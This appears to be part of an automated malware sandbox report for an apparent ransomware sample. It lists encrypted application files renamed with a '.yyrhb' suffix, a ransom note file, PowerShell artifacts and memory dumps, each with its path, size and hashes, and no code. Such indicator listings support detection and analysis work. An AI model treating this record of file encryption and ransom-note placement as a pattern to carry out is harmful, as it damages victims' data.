                                                                      Submit Download

                                                                      new_icons_retina.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\new_icons_retina.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 17KB
                                                                      • SHA256 46be20251424878b45d64231482a9a113755af87748656b0c881bd1754bcdc00
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      ui-strings.js.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-gb\ui-strings.js.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 823B
                                                                      • SHA256 b333de3a4a7be7749b82302085ed26ad868f0f8eccd09d2a8bb8840414e624d6
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      ui-strings.js.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ui-strings.js.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 1KB
                                                                      • SHA256 196c132938d324c62184ddc85bdb1cd642af830712e0fbf0fb3230978316d510
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      ui-strings.js.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_GAAAABgAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\ui-strings.js.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_GAAAABgAAAA0.yyrhb
                                                                      • Size 1KB
                                                                      • SHA256 d74c0782682efde01c1c30e46814256f7d16d7df00a7167d90f2bd55ebaab626
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      main.css.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_GgAAABoAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\css\main.css.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_GgAAABoAAAA0.yyrhb
                                                                      • Size 802B
                                                                      • SHA256 af439ebb0d55750003f7dbec517e7b0b26a6a0506b21e3b74d800cd1c7faa004
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      bun.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\bun.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 2KB
                                                                      • SHA256 e34bcd5b8436d3bc45f98dd913d41f185c6b06326b66937d6e0d5c6434b16fe7
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      cstm_brand_preview.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_DAAAAAwAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\cstm_brand_preview.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_DAAAAAwAAAA0.yyrhb
                                                                      • Size 2KB
                                                                      • SHA256 237a70fe0388ce6884f5424692c460625691ef7acb0bf80403ec6b25f348b94a
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      dd_arrow_small.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_MAAAADAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_MAAAADAAAAA0.yyrhb
                                                                      • Size 289B
                                                                      • SHA256 d188ab283c552eee50677129f3b0ffd8d97828c4e7007bea258174c9a2200e87
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      dd_arrow_small2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 385B
                                                                      • SHA256 223f32512aec50c1c00fafc476d8e4ce61e79aa748c67b72fe55514882a31a5a
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      nub.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\nub.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 1003B
                                                                      • SHA256 2e187b74e926afe70eafe0648c7125817e99f5586eee3e2e05446e360d4cc1bd
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      share_icons.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 1KB
                                                                      • SHA256 c25d9409ddf9645c2731ec785cacbb7568005bfc78fe0aec7df3ae3c4d30e333
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      share_icons2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 2KB
                                                                      • SHA256 537ac64cd204d7ef82cfe41c932deb9cb1ae738b2156eff4dbf73208384c0a13
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      ui-strings.js.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_KgAAACoAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ja-jp\ui-strings.js.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_KgAAACoAAAA0.yyrhb
                                                                      • Size 840B
                                                                      • SHA256 434731fdc6d2f5115c5f7786ac989fedef7d0f60cd2ad4385cc98f6d2160566c
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      NzK1_HOW_TO_DECRYPT.txt
                                                                      • Path C:\Program Files\Common Files\DESIGNER\NzK1_HOW_TO_DECRYPT.txt
                                                                      • Size 1KB
                                                                      • SHA256 5ec96ea1f9ad23ec6b1d201dd6b0cbab37173ac17898e115f254cf1fa0b14774
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      invalid32x32.gif.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_CgAAAAoAAAA0.yyrhb
                                                                      • Path C:\Program Files\Java\jre-1.8\lib\images\cursors\invalid32x32.gif.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_CgAAAAoAAAA0.yyrhb
                                                                      • Size 153B
                                                                      • SHA256 1a1d3079d49583837662b84e11d8c0870698511d9110e710eb8e7eb20df7ae3b
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      POWERPNT_F_COL.HXK.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files\Microsoft Office\root\Office16\1033\POWERPNT_F_COL.HXK.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 114B
                                                                      • SHA256 3c3702253a4695b5bcb18a2565b1d49f9f32f5f9f2442fd1395197970fa34edb
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      POWERPNT_K_COL.HXK.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_DAAAAAwAAAA0.yyrhb
                                                                      • Path C:\Program Files\Microsoft Office\root\Office16\1033\POWERPNT_K_COL.HXK.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_DAAAAAwAAAA0.yyrhb
                                                                      • Size 113B
                                                                      • SHA256 1c17b95e5098adb0c0e06aac8a8c7c50c6a5ef1b696465d548c8a922f1d3a653
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      vlc.mo.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 609KB
                                                                      • SHA256 30046c99667032b01e6929ec25d1dce4d2651a15523a2039f21b522dbce5730e
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      powershell.exe.log
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                      • Size 2KB
                                                                      • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      StartupProfileData-NonInteractive
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                      • Size 944B
                                                                      • SHA256 21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      __PSScriptPolicyTest_zsrrc3nk.umq.ps1
                                                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zsrrc3nk.umq.ps1
                                                                      • Size 60B
                                                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      memory/656-24-0x00000209F7AE0000-0x00000209F7AEC000-memory.dmp
                                                                      Download

                                                                      memory/656-25-0x00000209F7CA0000-0x00000209F7CA8000-memory.dmp
                                                                      Download

                                                                      memory/656-27-0x00000209F7D30000-0x00000209F7D42000-memory.dmp
                                                                      Download

                                                                      memory/656-26-0x00000209F8280000-0x00000209F836A000-memory.dmp
                                                                      Download

                                                                      memory/1608-8-0x0000026AD7430000-0x0000026AD7452000-memory.dmp
                                                                      Download

                                                                      memory/1608-13-0x0000026ABEEF0000-0x0000026ABEF02000-memory.dmp
                                                                      Download

                                                                      memory/1608-11-0x0000026ABED30000-0x0000026ABED3C000-memory.dmp
                                                                      Download

                                                                      memory/1608-12-0x0000026ABED70000-0x0000026ABED78000-memory.dmp
                                                                      Download

                                                                      memory/1608-14-0x0000026AD7460000-0x0000026AD754A000-memory.dmp
                                                                      Download